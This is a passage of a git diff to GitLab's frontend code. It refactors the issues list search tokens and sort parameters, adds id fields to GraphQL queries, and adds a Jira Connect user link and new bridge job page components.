token: MilestoneToken,
fetchMilestones: this.fetchMilestones,
+ recentSuggestionsStorageKey: `${this.fullPath}-issues-recent-tokens-milestone`,
},
{
type: TOKEN_TYPE_LABEL,
@@ -333,6 +349,7 @@ export default {
token: LabelToken,
defaultLabels: DEFAULT_NONE_ANY,
fetchLabels: this.fetchLabels,
+ recentSuggestionsStorageKey: `${this.fullPath}-issues-recent-tokens-label`,
},
{
type: TOKEN_TYPE_TYPE,
@@ -354,6 +371,7 @@ export default {
icon: 'rocket',
token: ReleaseToken,
fetchReleases: this.fetchReleases,
+ recentSuggestionsStorageKey: `${this.fullPath}-issues-recent-tokens-release`,
});
}
@@ -365,6 +383,7 @@ export default {
token: EmojiToken,
unique: true,
fetchEmojis: this.fetchEmojis,
+ recentSuggestionsStorageKey: `${this.fullPath}-issues-recent-tokens-my_reaction`,
});
tokens.push({
@@ -381,42 +400,13 @@ export default {
});
}
- if (this.hasIterationsFeature) {
- tokens.push({
- type: TOKEN_TYPE_ITERATION,
- title: TOKEN_TITLE_ITERATION,
- icon: 'iteration',
- token: IterationToken,
- fetchIterations: this.fetchIterations,
- });
+ if (this.eeSearchTokens.length) {
+ tokens.push(...this.eeSearchTokens);
}
- if (this.groupPath) {
- tokens.push({
- type: TOKEN_TYPE_EPIC,
- title: TOKEN_TITLE_EPIC,
- icon: 'epic',
- token: EpicToken,
- unique: true,
- symbol: '&',
- idProperty: 'id',
- useIdValue: true,
- recentSuggestionsStorageKey: `${this.fullPath}-issues-recent-tokens-epic_id`,
- fullPath: this.groupPath,
- });
- }
+ tokens.sort((a, b) => a.title.localeCompare(b.title));
- if (this.hasIssueWeightsFeature) {
- tokens.push({
- type: TOKEN_TYPE_WEIGHT,
- title: TOKEN_TITLE_WEIGHT,
- icon: 'weight',
- token: WeightToken,
- unique: true,
- });
- }
-
- return tokens;
+ return orderBy(tokens, ['title']);
},
showPaginationControls() {
return this.issues.length > 0 && (this.pageInfo.hasNextPage || this.pageInfo.hasPreviousPage);
@@ -481,7 +471,12 @@ export default {
query: searchLabelsQuery,
variables: { fullPath: this.fullPath, search, isProject: this.isProject },
})
- .then(({ data }) => data[this.namespace]?.labels.nodes);
+ .then(({ data }) => data[this.namespace]?.labels.nodes)
+ .then((labels) =>
+ // TODO remove once we can search by title-only on the backend
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/346353
+ labels.filter((label) => label.title.toLowerCase().includes(search.toLowerCase())),
+ );
},
fetchMilestones(search) {
return this.$apollo
@@ -491,20 +486,6 @@ export default {
})
.then(({ data }) => data[this.namespace]?.milestones.nodes);
},
- fetchIterations(search) {
- const id = Number(search);
- const variables =
- !search || Number.isNaN(id)
- ? { fullPath: this.fullPath, search, isProject: this.isProject }
- : { fullPath: this.fullPath, id, isProject: this.isProject };
-
- return this.$apollo
- .query({
- query: searchIterationsQuery,
- variables,
- })
- .then(({ data }) => data[this.namespace]?.iterations.nodes);
- },
fetchUsers(search) {
return this.$apollo
.query({
@@ -537,7 +518,7 @@ export default {
async handleBulkUpdateClick() {
if (!this.hasInitBulkEdit) {
const initBulkUpdateSidebar = await import(
- '~/issuable_bulk_update_sidebar/issuable_init_bulk_update_sidebar'
+ '~/issuable/bulk_update_sidebar/issuable_init_bulk_update_sidebar'
);
initBulkUpdateSidebar.default.init('issuable_');
@@ -556,7 +537,14 @@ export default {
}
this.state = state;
},
+ handleDismissAlert() {
+ this.issuesError = null;
+ },
handleFilter(filter) {
+ if (this.isAnonymousSearchDisabled && !this.isSignedIn) {
+ this.showAnonymousSearchingMessage();
+ return;
+ }
this.pageParams = getInitialPageParams(this.sortKey);
this.filterTokens = filter;
},
@@ -607,15 +595,33 @@ export default {
});
})
.catch((error) => {
- createFlash({ message: this.$options.i18n.reorderError, captureError: true, error });
+ this.issuesError = this.$options.i18n.reorderError;
+ Sentry.captureException(error);
});
},
handleSort(sortKey) {
+ if (this.isIssueRepositioningDisabled && sortKey === RELATIVE_POSITION_ASC) {
+ this.showIssueRepositioningMessage();
+ return;
+ }
+
if (this.sortKey !== sortKey) {
this.pageParams = getInitialPageParams(sortKey);
}
this.sortKey = sortKey;
},
+ showAnonymousSearchingMessage() {
+ createFlash({
+ message: this.$options.i18n.anonymousSearchingMessage,
+ type: FLASH_TYPES.NOTICE,
+ });
+ },
+ showIssueRepositioningMessage() {
+ createFlash({
+ message: this.$options.i18n.issueRepositioningMessage,
+ type: FLASH_TYPES.NOTICE,
+ });
+ },
toggleBulkEditSidebar(showBulkEditSidebar) {
this.showBulkEditSidebar = showBulkEditSidebar;
},
@@ -634,6 +640,7 @@ export default {
:sort-options="sortOptions"
:initial-sort-by="sortKey"
:issuables="issues"
+ :error="issuesError"
label-filter-param="label_name"
:tabs="$options.IssuableListTabs"
:current-tab="state"
@@ -647,6 +654,7 @@ export default {
:has-previous-page="pageInfo.hasPreviousPage"
:url-params="urlParams"
@click-tab="handleClickTab"
+ @dismiss-alert="handleDismissAlert"
@filter="handleFilter"
@next-page="handleNextPage"
@previous-page="handlePreviousPage"
@@ -727,12 +735,7 @@ export default {
<gl-icon name="thumb-down" />
{{ issuable.downvotes }}
</li>
- <blocking-issues-count
- class="blocking-issues gl-display-none gl-sm-display-block"
- :blocking-issues-count="issuable.blockingCount"
- :is-list-item="true"
- data-testid="blocking-issues"
- />
+ <slot :issuable="issuable"></slot>
</template>
<template #empty-state>
diff --git a/app/assets/javascripts/issues_list/constants.js b/app/assets/javascripts/issues_list/constants.js
index da9b96d0e22..c9eaf0b9908 100644
--- a/app/assets/javascripts/issues_list/constants.js
+++ b/app/assets/javascripts/issues_list/constants.js
@@ -66,6 +66,7 @@ export const availableSortOptionsJira = [
];
export const i18n = {
+ anonymousSearchingMessage: __('You must sign in to search for specific terms.'),
calendarLabel: __('Subscribe to calendar'),
closed: __('CLOSED'),
closedMoved: __('CLOSED (MOVED)'),
@@ -75,6 +76,9 @@ export const i18n = {
editIssues: __('Edit issues'),
errorFetchingCounts: __('An error occurred while getting issue counts'),
errorFetchingIssues: __('An error occurred while loading issues'),
+ issueRepositioningMessage: __(
+ 'Issues are being rebalanced at the moment, so manual reordering is disabled.',
+ ),
jiraIntegrationMessage: s__(
'JiraService|%{jiraDocsLinkStart}Enable the Jira integration%{jiraDocsLinkEnd} to view your Jira issues in GitLab.',
),
@@ -133,6 +137,7 @@ export const DUE_DATE_VALUES = [
DUE_DATE_NEXT_MONTH_AND_PREVIOUS_TWO_WEEKS,
];
+export const BLOCKING_ISSUES_ASC = 'BLOCKING_ISSUES_ASC';
export const BLOCKING_ISSUES_DESC = 'BLOCKING_ISSUES_DESC';
export const CREATED_ASC = 'CREATED_ASC';
export const CREATED_DESC = 'CREATED_DESC';
@@ -154,42 +159,28 @@ export const UPDATED_DESC = 'UPDATED_DESC';
export const WEIGHT_ASC = 'WEIGHT_ASC';
export const WEIGHT_DESC = 'WEIGHT_DESC';
-const PRIORITY_ASC_SORT = 'priority_asc';
-const CREATED_DATE_SORT = 'created_date';
-const CREATED_ASC_SORT = 'created_asc';
-const UPDATED_DESC_SORT = 'updated_desc';
-const UPDATED_ASC_SORT = 'updated_asc';
-const MILESTONE_SORT = 'milestone';
-const MILESTONE_DUE_DESC_SORT = 'milestone_due_desc';
-const DUE_DATE_DESC_SORT = 'due_date_desc';
-const LABEL_PRIORITY_ASC_SORT = 'label_priority_asc';
-const POPULARITY_ASC_SORT = 'popularity_asc';
-const WEIGHT_DESC_SORT = 'weight_desc';
-const BLOCKING_ISSUES_DESC_SORT = 'blocking_issues_desc';
-const TITLE_ASC_SORT = 'title_asc';
-const TITLE_DESC_SORT = 'title_desc';
-
export const urlSortParams = {
- [PRIORITY_ASC]: PRIORITY_ASC_SORT,
- [PRIORITY_DESC]: PRIORITY,
- [CREATED_ASC]: CREATED_ASC_SORT,
- [CREATED_DESC]: CREATED_DATE_SORT,
- [UPDATED_ASC]: UPDATED_ASC_SORT,
- [UPDATED_DESC]: UPDATED_DESC_SORT,
- [MILESTONE_DUE_ASC]: MILESTONE_SORT,
- [MILESTONE_DUE_DESC]: MILESTONE_DUE_DESC_SORT,
- [DUE_DATE_ASC]: DUE_DATE,
- [DUE_DATE_DESC]: DUE_DATE_DESC_SORT,
- [POPULARITY_ASC]: POPULARITY_ASC_SORT,
- [POPULARITY_DESC]: POPULARITY,
- [LABEL_PRIORITY_ASC]: LABEL_PRIORITY_ASC_SORT,
- [LABEL_PRIORITY_DESC]: LABEL_PRIORITY,
+ [PRIORITY_ASC]: 'priority',
+ [PRIORITY_DESC]: 'priority_desc',
+ [CREATED_ASC]: 'created_asc',
+ [CREATED_DESC]: 'created_date',
+ [UPDATED_ASC]: 'updated_asc',
+ [UPDATED_DESC]: 'updated_desc',
+ [MILESTONE_DUE_ASC]: 'milestone',
+ [MILESTONE_DUE_DESC]: 'milestone_due_desc',
+ [DUE_DATE_ASC]: 'due_date',
+ [DUE_DATE_DESC]: 'due_date_desc',
+ [POPULARITY_ASC]: 'popularity_asc',
+ [POPULARITY_DESC]: 'popularity',
+ [LABEL_PRIORITY_ASC]: 'label_priority',
+ [LABEL_PRIORITY_DESC]: 'label_priority_desc',
[RELATIVE_POSITION_ASC]: RELATIVE_POSITION,
- [WEIGHT_ASC]: WEIGHT,
- [WEIGHT_DESC]: WEIGHT_DESC_SORT,
- [BLOCKING_ISSUES_DESC]: BLOCKING_ISSUES_DESC_SORT,
- [TITLE_ASC]: TITLE_ASC_SORT,
- [TITLE_DESC]: TITLE_DESC_SORT,
+ [WEIGHT_ASC]: 'weight',
+ [WEIGHT_DESC]: 'weight_desc',
+ [BLOCKING_ISSUES_ASC]: 'blocking_issues_asc',
+ [BLOCKING_ISSUES_DESC]: 'blocking_issues_desc',
+ [TITLE_ASC]: 'title_asc',
+ [TITLE_DESC]: 'title_desc',
};
export const MAX_LIST_SIZE = 10;
diff --git a/app/assets/javascripts/issues_list/index.js b/app/assets/javascripts/issues_list/index.js
index 59034964afb..9d2ec8b32d2 100644
--- a/app/assets/javascripts/issues_list/index.js
+++ b/app/assets/javascripts/issues_list/index.js
@@ -2,7 +2,7 @@ import produce from 'immer';
import Vue from 'vue';
import VueApollo from 'vue-apollo';
import getIssuesQuery from 'ee_else_ce/issues_list/queries/get_issues.query.graphql';
-import IssuesListApp from '~/issues_list/components/issues_list_app.vue';
+import IssuesListApp from 'ee_else_ce/issues_list/components/issues_list_app.vue';
import createDefaultClient from '~/lib/graphql';
import { convertObjectPropsToCamelCase, parseBoolean } from '~/lib/utils/common_utils';
import IssuablesListApp from './components/issuables_list_app.vue';
@@ -129,6 +129,8 @@ export function mountIssuesListApp() {
hasMultipleIssueAssigneesFeature,
importCsvIssuesPath,
initialEmail,
+ isAnonymousSearchDisabled,
+ isIssueRepositioningDisabled,
isProject,
isSignedIn,
jiraIntegrationPath,
@@ -161,6 +163,8 @@ export function mountIssuesListApp() {
hasIssueWeightsFeature: parseBoolean(hasIssueWeightsFeature),
hasIterationsFeature: parseBoolean(hasIterationsFeature),
hasMultipleIssueAssigneesFeature: parseBoolean(hasMultipleIssueAssigneesFeature),
+ isAnonymousSearchDisabled: parseBoolean(isAnonymousSearchDisabled),
+ isIssueRepositioningDisabled: parseBoolean(isIssueRepositioningDisabled),
isProject: parseBoolean(isProject),
isSignedIn: parseBoolean(isSignedIn),
jiraIntegrationPath,
diff --git a/app/assets/javascripts/issues_list/queries/get_issues.query.graphql b/app/assets/javascripts/issues_list/queries/get_issues.query.graphql
index 9866efbcecc..be8deb3fe97 100644
--- a/app/assets/javascripts/issues_list/queries/get_issues.query.graphql
+++ b/app/assets/javascripts/issues_list/queries/get_issues.query.graphql
@@ -26,6 +26,7 @@ query getIssues(
$lastPageSize: Int
) {
group(fullPath: $fullPath) @skip(if: $isProject) {
+ id
issues(
includeSubgroups: true
search: $search
@@ -56,6 +57,7 @@ query getIssues(
}
}
project(fullPath: $fullPath) @include(if: $isProject) {
+ id
issues(
search: $search
sort: $sort
diff --git a/app/assets/javascripts/issues_list/queries/get_issues_counts.query.graphql b/app/assets/javascripts/issues_list/queries/get_issues_counts.query.graphql
index 5e755ec5870..1a345fd2877 100644
--- a/app/assets/javascripts/issues_list/queries/get_issues_counts.query.graphql
+++ b/app/assets/javascripts/issues_list/queries/get_issues_counts.query.graphql
@@ -16,6 +16,7 @@ query getIssuesCount(
$not: NegatedIssueFilterInput
) {
group(fullPath: $fullPath) @skip(if: $isProject) {
+ id
openedIssues: issues(
includeSubgroups: true
state: opened
@@ -69,6 +70,7 @@ query getIssuesCount(
}
}
project(fullPath: $fullPath) @include(if: $isProject) {
+ id
openedIssues: issues(
state: opened
search: $search
diff --git a/app/assets/javascripts/issues_list/queries/get_issues_list_details.query.graphql b/app/assets/javascripts/issues_list/queries/get_issues_list_details.query.graphql
index 8c95e6114d3..a53dba8c7c8 100644
--- a/app/assets/javascripts/issues_list/queries/get_issues_list_details.query.graphql
+++ b/app/assets/javascripts/issues_list/queries/get_issues_list_details.query.graphql
@@ -1,9 +1,12 @@
query getIssuesListDetails($fullPath: ID!) {
project(fullPath: $fullPath) {
+ id
issues {
nodes {
+ id
labels {
nodes {
+ id
title
color
}
diff --git a/app/assets/javascripts/issues_list/queries/issue.fragment.graphql b/app/assets/javascripts/issues_list/queries/issue.fragment.graphql
index 9c46cb3ef64..07dae3fd756 100644
--- a/app/assets/javascripts/issues_list/queries/issue.fragment.graphql
+++ b/app/assets/javascripts/issues_list/queries/issue.fragment.graphql
@@ -6,6 +6,7 @@ fragment IssueFragment on Issue {
createdAt
downvotes
dueDate
+ hidden
humanTimeEstimate
mergeRequestsCount
moved
diff --git a/app/assets/javascripts/issues_list/queries/iteration.fragment.graphql b/app/assets/javascripts/issues_list/queries/iteration.fragment.graphql
deleted file mode 100644
index 4f7217be7f7..00000000000
--- a/app/assets/javascripts/issues_list/queries/iteration.fragment.graphql
+++ /dev/null
@@ -1,10 +0,0 @@
-fragment Iteration on Iteration {
- id
- title
- startDate
- dueDate
- iterationCadence {
- id
- title
- }
-}
diff --git a/app/assets/javascripts/issues_list/queries/search_iterations.query.graphql b/app/assets/javascripts/issues_list/queries/search_iterations.query.graphql
deleted file mode 100644
index 93600c62905..00000000000
--- a/app/assets/javascripts/issues_list/queries/search_iterations.query.graphql
+++ /dev/null
@@ -1,18 +0,0 @@
-#import "./iteration.fragment.graphql"
-
-query searchIterations($fullPath: ID!, $search: String, $id: ID, $isProject: Boolean = false) {
- group(fullPath: $fullPath) @skip(if: $isProject) {
- iterations(title: $search, id: $id, includeAncestors: true) {
- nodes {
- ...Iteration
- }
- }
- }
- project(fullPath: $fullPath) @include(if: $isProject) {
- iterations(title: $search, id: $id, includeAncestors: true) {
- nodes {
- ...Iteration
- }
- }
- }
-}
diff --git a/app/assets/javascripts/issues_list/queries/search_labels.query.graphql b/app/assets/javascripts/issues_list/queries/search_labels.query.graphql
index 1515bd91da3..44b57317161 100644
--- a/app/assets/javascripts/issues_list/queries/search_labels.query.graphql
+++ b/app/assets/javascripts/issues_list/queries/search_labels.query.graphql
@@ -2,6 +2,7 @@
query searchLabels($fullPath: ID!, $search: String, $isProject: Boolean = false) {
group(fullPath: $fullPath) @skip(if: $isProject) {
+ id
labels(searchTerm: $search, includeAncestorGroups: true, includeDescendantGroups: true) {
nodes {
...Label
@@ -9,6 +10,7 @@ query searchLabels($fullPath: ID!, $search: String, $isProject: Boolean = false)
}
}
project(fullPath: $fullPath) @include(if: $isProject) {
+ id
labels(searchTerm: $search, includeAncestorGroups: true) {
nodes {
...Label
diff --git a/app/assets/javascripts/issues_list/queries/search_milestones.query.graphql b/app/assets/javascripts/issues_list/queries/search_milestones.query.graphql
index 8c6c50e9dc2..e7eb08104a6 100644
--- a/app/assets/javascripts/issues_list/queries/search_milestones.query.graphql
+++ b/app/assets/javascripts/issues_list/queries/search_milestones.query.graphql
@@ -2,6 +2,7 @@
query searchMilestones($fullPath: ID!, $search: String, $isProject: Boolean = false) {
group(fullPath: $fullPath) @skip(if: $isProject) {
+ id
milestones(searchTitle: $search, includeAncestors: true, includeDescendants: true) {
nodes {
...Milestone
@@ -9,6 +10,7 @@ query searchMilestones($fullPath: ID!, $search: String, $isProject: Boolean = fa
}
}
project(fullPath: $fullPath) @include(if: $isProject) {
+ id
milestones(searchTitle: $search, includeAncestors: true) {
nodes {
...Milestone
diff --git a/app/assets/javascripts/issues_list/queries/search_projects.query.graphql b/app/assets/javascripts/issues_list/queries/search_projects.query.graphql
index 75463f643a2..bd2f9bc2340 100644
--- a/app/assets/javascripts/issues_list/queries/search_projects.query.graphql
+++ b/app/assets/javascripts/issues_list/queries/search_projects.query.graphql
@@ -1,5 +1,6 @@
query searchProjects($fullPath: ID!, $search: String) {
group(fullPath: $fullPath) {
+ id
projects(search: $search, includeSubgroups: true) {
nodes {
id
diff --git a/app/assets/javascripts/issues_list/queries/search_users.query.graphql b/app/assets/javascripts/issues_list/queries/search_users.query.graphql
index 0211fc66235..92517ad35d0 100644
--- a/app/assets/javascripts/issues_list/queries/search_users.query.graphql
+++ b/app/assets/javascripts/issues_list/queries/search_users.query.graphql
@@ -2,8 +2,10 @@
query searchUsers($fullPath: ID!, $search: String, $isProject: Boolean = false) {
group(fullPath: $fullPath) @skip(if: $isProject) {
+ id
groupMembers(search: $search) {
nodes {
+ id
user {
...User
}
@@ -11,8 +13,10 @@ query searchUsers($fullPath: ID!, $search: String, $isProject: Boolean = false)
}
}
project(fullPath: $fullPath) @include(if: $isProject) {
+ id
projectMembers(search: $search) {
nodes {
+ id
user {
...User
}
diff --git a/app/assets/javascripts/issues_list/utils.js b/app/assets/javascripts/issues_list/utils.js
index 0e57e2bff83..99946e4e851 100644
--- a/app/assets/javascripts/issues_list/utils.js
+++ b/app/assets/javascripts/issues_list/utils.js
@@ -1,5 +1,6 @@
import {
API_PARAM,
+ BLOCKING_ISSUES_ASC,
BLOCKING_ISSUES_DESC,
CREATED_ASC,
CREATED_DESC,
@@ -143,7 +144,7 @@ export const getSortOptions = (hasIssueWeightsFeature, hasBlockedIssuesFeature)
id: sortOptions.length + 1,
title: __('Blocking'),
sortDirection: {
- ascending: BLOCKING_ISSUES_DESC,
+ ascending: BLOCKING_ISSUES_ASC,
descending: BLOCKING_ISSUES_DESC,
},
});
diff --git a/app/assets/javascripts/jira_connect/branches/graphql/queries/get_project.query.graphql b/app/assets/javascripts/jira_connect/branches/graphql/queries/get_project.query.graphql
index f3428e816d7..df72a1ca6e6 100644
--- a/app/assets/javascripts/jira_connect/branches/graphql/queries/get_project.query.graphql
+++ b/app/assets/javascripts/jira_connect/branches/graphql/queries/get_project.query.graphql
@@ -5,6 +5,7 @@ query getProject(
$branchNamesSearchPattern: String!
) {
project(fullPath: $projectPath) {
+ id
repository {
branchNames(
limit: $branchNamesLimit
diff --git a/app/assets/javascripts/jira_connect/branches/index.js b/app/assets/javascripts/jira_connect/branches/index.js
index 04510fcff4b..a9a56a6362e 100644
--- a/app/assets/javascripts/jira_connect/branches/index.js
+++ b/app/assets/javascripts/jira_connect/branches/index.js
@@ -5,7 +5,7 @@ import createDefaultClient from '~/lib/graphql';
Vue.use(VueApollo);
-export default async function initJiraConnectBranches() {
+export default function initJiraConnectBranches() {
const el = document.querySelector('.js-jira-connect-create-branch');
if (!el) {
return null;
diff --git a/app/assets/javascripts/jira_connect/subscriptions/components/app.vue b/app/assets/javascripts/jira_connect/subscriptions/components/app.vue
index c0504cbb645..7fd4cc38f11 100644
--- a/app/assets/javascripts/jira_connect/subscriptions/components/app.vue
+++ b/app/assets/javascripts/jira_connect/subscriptions/components/app.vue
@@ -7,6 +7,7 @@ import { SET_ALERT } from '../store/mutation_types';
import SubscriptionsList from './subscriptions_list.vue';
import AddNamespaceButton from './add_namespace_button.vue';
import SignInButton from './sign_in_button.vue';
+import UserLink from './user_link.vue';
export default {
name: 'JiraConnectApp',
@@ -18,6 +19,7 @@ export default {
SubscriptionsList,
AddNamespaceButton,
SignInButton,
+ UserLink,
},
inject: {
usersPath: {
@@ -74,6 +76,8 @@ export default {
</template>
</gl-alert>
+ <user-link :user-signed-in="userSignedIn" :has-subscriptions="hasSubscriptions" />
+
<h2 class="gl-text-center gl-mb-7">{{ s__('JiraService|GitLab for Jira Configuration') }}</h2>
<div class="jira-connect-app-body gl-mx-auto gl-px-5 gl-mb-7">
<template v-if="hasSubscriptions">
diff --git a/app/assets/javascripts/jira_connect/subscriptions/components/user_link.vue b/app/assets/javascripts/jira_connect/subscriptions/components/user_link.vue
new file mode 100644
index 00000000000..fad3d2616d8
--- /dev/null
+++ b/app/assets/javascripts/jira_connect/subscriptions/components/user_link.vue
@@ -0,0 +1,67 @@
+<script>
+import { GlLink, GlSprintf } from '@gitlab/ui';
+import { __ } from '~/locale';
+import { getGitlabSignInURL } from '~/jira_connect/subscriptions/utils';
+
+export default {
+ components: {
+ GlLink,
+ GlSprintf,
+ },
+ inject: {
+ usersPath: {
+ default: '',
+ },
+ gitlabUserPath: {
+ default: '',
+ },
+ },
+ props: {
+ userSignedIn: {
+ type: Boolean,
+ required: true,
+ },
+ hasSubscriptions: {
+ type: Boolean,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ signInURL: '',
+ };
+ },
+ computed: {
+ gitlabUserHandle() {
+ return `@${gon.current_username}`;
+ },
+ },
+ async created() {
+ this.signInURL = await getGitlabSignInURL(this.usersPath);
+ },
+ i18n: {
+ signInText: __('Sign in to GitLab'),
+ signedInAsUserText: __('Signed in to GitLab as %{user_link}'),
+ },
+};
+</script>
+<template>
+ <div class="jira-connect-user gl-font-base">
+ <gl-sprintf v-if="userSignedIn" :message="$options.i18n.signedInAsUserText">
+ <template #user_link>
+ <gl-link data-testid="gitlab-user-link" :href="gitlabUserPath" target="_blank">
+ {{ gitlabUserHandle }}
+ </gl-link>
+ </template>
+ </gl-sprintf>
+
+ <gl-link
+ v-else-if="hasSubscriptions"
+ data-testid="sign-in-link"
+ :href="signInURL"
+ target="_blank"
+ >
+ {{ $options.i18n.signInText }}
+ </gl-link>
+ </div>
+</template>
diff --git a/app/assets/javascripts/jira_connect/subscriptions/index.js b/app/assets/javascripts/jira_connect/subscriptions/index.js
index 8a7a80d885d..cd1fc1d4455 100644
--- a/app/assets/javascripts/jira_connect/subscriptions/index.js
+++ b/app/assets/javascripts/jira_connect/subscriptions/index.js
@@ -7,25 +7,11 @@ import Translate from '~/vue_shared/translate';
import JiraConnectApp from './components/app.vue';
import createStore from './store';
-import { getGitlabSignInURL, sizeToParent } from './utils';
+import { sizeToParent } from './utils';
const store = createStore();
-/**
- * Add `return_to` query param to all HAML-defined GitLab sign in links.
- */
-const updateSignInLinks = async () => {
- await Promise.all(
- Array.from(document.querySelectorAll('.js-jira-connect-sign-in')).map(async (el) => {
- const updatedLink = await getGitlabSignInURL(el.getAttribute('href'));
- el.setAttribute('href', updatedLink);
- }),
- );
-};
-
-export async function initJiraConnect() {
- await updateSignInLinks();
-
+export function initJiraConnect() {
const el = document.querySelector('.js-jira-connect-app');
if (!el) {
return null;
@@ -35,7 +21,7 @@ export async function initJiraConnect() {
Vue.use(Translate);
Vue.use(GlFeatureFlagsPlugin);
- const { groupsPath, subscriptions, subscriptionsPath, usersPath } = el.dataset;
+ const { groupsPath, subscriptions, subscriptionsPath, usersPath, gitlabUserPath } = el.dataset;
sizeToParent();
return new Vue({
@@ -46,6 +32,7 @@ export async function initJiraConnect() {
subscriptions: JSON.parse(subscriptions),
subscriptionsPath,
usersPath,
+ gitlabUserPath,
},
render(createElement) {
return createElement(JiraConnectApp);
diff --git a/app/assets/javascripts/jira_import/queries/get_jira_import_details.query.graphql b/app/assets/javascripts/jira_import/queries/get_jira_import_details.query.graphql
index 6fec07cc6f8..4c26399e16b 100644
--- a/app/assets/javascripts/jira_import/queries/get_jira_import_details.query.graphql
+++ b/app/assets/javascripts/jira_import/queries/get_jira_import_details.query.graphql
@@ -2,6 +2,7 @@
query getJiraImportDetails($fullPath: ID!) {
project(fullPath: $fullPath) {
+ id
jiraImportStatus
jiraImports {
nodes {
diff --git a/app/assets/javascripts/jira_import/queries/jira_import.fragment.graphql b/app/assets/javascripts/jira_import/queries/jira_import.fragment.graphql
index fde2ebeff91..fe797879d07 100644
--- a/app/assets/javascripts/jira_import/queries/jira_import.fragment.graphql
+++ b/app/assets/javascripts/jira_import/queries/jira_import.fragment.graphql
@@ -2,6 +2,7 @@ fragment JiraImport on JiraImport {
jiraProjectKey
scheduledAt
scheduledBy {
+ id
name
}
}
diff --git a/app/assets/javascripts/jira_import/queries/search_project_members.query.graphql b/app/assets/javascripts/jira_import/queries/search_project_members.query.graphql
index 6ea8963e6a6..7666fa3bd97 100644
--- a/app/assets/javascripts/jira_import/queries/search_project_members.query.graphql
+++ b/app/assets/javascripts/jira_import/queries/search_project_members.query.graphql
@@ -1,7 +1,9 @@
query jiraSearchProjectMembers($fullPath: ID!, $search: String) {
project(fullPath: $fullPath) {
+ id
projectMembers(search: $search) {
nodes {
+ id
user {
id
name
diff --git a/app/assets/javascripts/jobs/bridge/app.vue b/app/assets/javascripts/jobs/bridge/app.vue
new file mode 100644
index 00000000000..67c22712776
--- /dev/null
+++ b/app/assets/javascripts/jobs/bridge/app.vue
@@ -0,0 +1,20 @@
+<script>
+import BridgeEmptyState from './components/empty_state.vue';
+import BridgeSidebar from './components/sidebar.vue';
+
+export default {
+ name: 'BridgePageApp',
+ components: {
+ BridgeEmptyState,
+ BridgeSidebar,
+ },
+};
+</script>
+<template>
+ <div>
+ <!-- TODO: get job details and show CI header -->
+ <!-- TODO: add downstream pipeline path -->
+ <bridge-empty-state downstream-pipeline-path="#" />
+ <bridge-sidebar />
+ </div>
+</template>
diff --git a/app/assets/javascripts/jobs/bridge/components/constants.js b/app/assets/javascripts/jobs/bridge/components/constants.js
new file mode 100644
index 00000000000..33310b3157a
--- /dev/null
+++ b/app/assets/javascripts/jobs/bridge/components/constants.js
@@ -0,0 +1 @@
+export const SIDEBAR_COLLAPSE_BREAKPOINTS = ['xs', 'sm'];
diff --git a/app/assets/javascripts/jobs/bridge/components/empty_state.vue b/app/assets/javascripts/jobs/bridge/components/empty_state.vue
new file mode 100644
index 00000000000..bd07d863719
--- /dev/null
+++ b/app/assets/javascripts/jobs/bridge/components/empty_state.vue
@@ -0,0 +1,45 @@
+<script>
+import { GlButton } from '@gitlab/ui';
+import { __ } from '~/locale';
+
+export default {
+ name: 'BridgeEmptyState',
+ i18n: {
+ title: __('This job triggers a downstream pipeline'),
+ linkBtnText: __('View downstream pipeline'),
+ },
+ components: {
+ GlButton,
+ },
+ inject: {
+ emptyStateIllustrationPath: {
+ type: String,
+ require: true,
+ },
+ },
+ props: {
+ downstreamPipelinePath: {
+ type: String,
+ required: false,
+ default: undefined,
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="gl-display-flex gl-flex-direction-column gl-align-items-center gl-mt-11">
+ <img :src="emptyStateIllustrationPath" />
+ <h1 class="gl-font-size-h1">{{ $options.i18n.title }}</h1>
+ <gl-button
+ v-if="downstreamPipelinePath"
+ class="gl-mt-3"
+ category="secondary"
+ variant="confirm"
+ size="medium"
+ :href="downstreamPipelinePath"
+ >
+ {{ $options.i18n.linkBtnText }}
+ </gl-button>
+ </div>
+</template>
diff --git a/app/assets/javascripts/jobs/bridge/components/sidebar.vue b/app/assets/javascripts/jobs/bridge/components/sidebar.vue
new file mode 100644
index 00000000000..68b767408f0
--- /dev/null
+++ b/app/assets/javascripts/jobs/bridge/components/sidebar.vue
@@ -0,0 +1,98 @@
+<script>
+import { GlButton, GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
+import { __ } from '~/locale';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue';
+import { JOB_SIDEBAR } from '../../constants';
+import { SIDEBAR_COLLAPSE_BREAKPOINTS } from './constants';
+
+export default {
+ styles: {
+ top: '75px',
+ width: '290px',
+ },
+ name: 'BridgeSidebar',
+ i18n: {
+ ...JOB_SIDEBAR,
+ retryButton: __('Retry'),
+ retryTriggerJob: __('Retry the trigger job'),
+ retryDownstreamPipeline: __('Retry the downstream pipeline'),
+ },
+ borderTopClass: ['gl-border-t-solid', 'gl-border-t-1', 'gl-border-t-gray-100'],
+ components: {
+ GlButton,
+ GlDropdown,
+ GlDropdownItem,
+ TooltipOnTruncate,
+ },
+ inject: {
+ buildName: {
+ type: String,
+ default: '',
+ },
+ },
+ data() {
+ return {
+ isSidebarExpanded: true,
+ };
+ },
+ created() {
+ window.addEventListener('resize', this.onResize);
+ },
+ mounted() {
+ this.onResize();
+ },
+ methods: {
+ toggleSidebar() {
+ this.isSidebarExpanded = !this.isSidebarExpanded;
+ },
+ onResize() {
+ const breakpoint = bp.getBreakpointSize();
+ if (SIDEBAR_COLLAPSE_BREAKPOINTS.includes(breakpoint)) {
+ this.isSidebarExpanded = false;
+ } else if (!this.isSidebarExpanded) {
+ this.isSidebarExpanded = true;
+ }
+ },
+ },
+};
+</script>
+<template>
+ <aside
+ class="gl-fixed gl-right-0 gl-px-5 gl-bg-gray-10 gl-h-full gl-border-l-solid gl-border-1 gl-border-gray-100 gl-z-index-200 gl-overflow-hidden"
+ :style="this.$options.styles"
+ :class="{
+ 'gl-display-none': !isSidebarExpanded,
+ }"
+ >
+ <div class="gl-py-5 gl-display-flex gl-align-items-center">
+ <tooltip-on-truncate :title="buildName" truncate-target="child"
+ ><h4 class="gl-mb-0 gl-mr-2 gl-text-truncate">
+ {{ buildName }}
+ </h4>
+ </tooltip-on-truncate>
+ <!-- TODO: implement retry actions -->
+ <div class="gl-flex-grow-1 gl-flex-shrink-0 gl-text-right">
+ <gl-dropdown
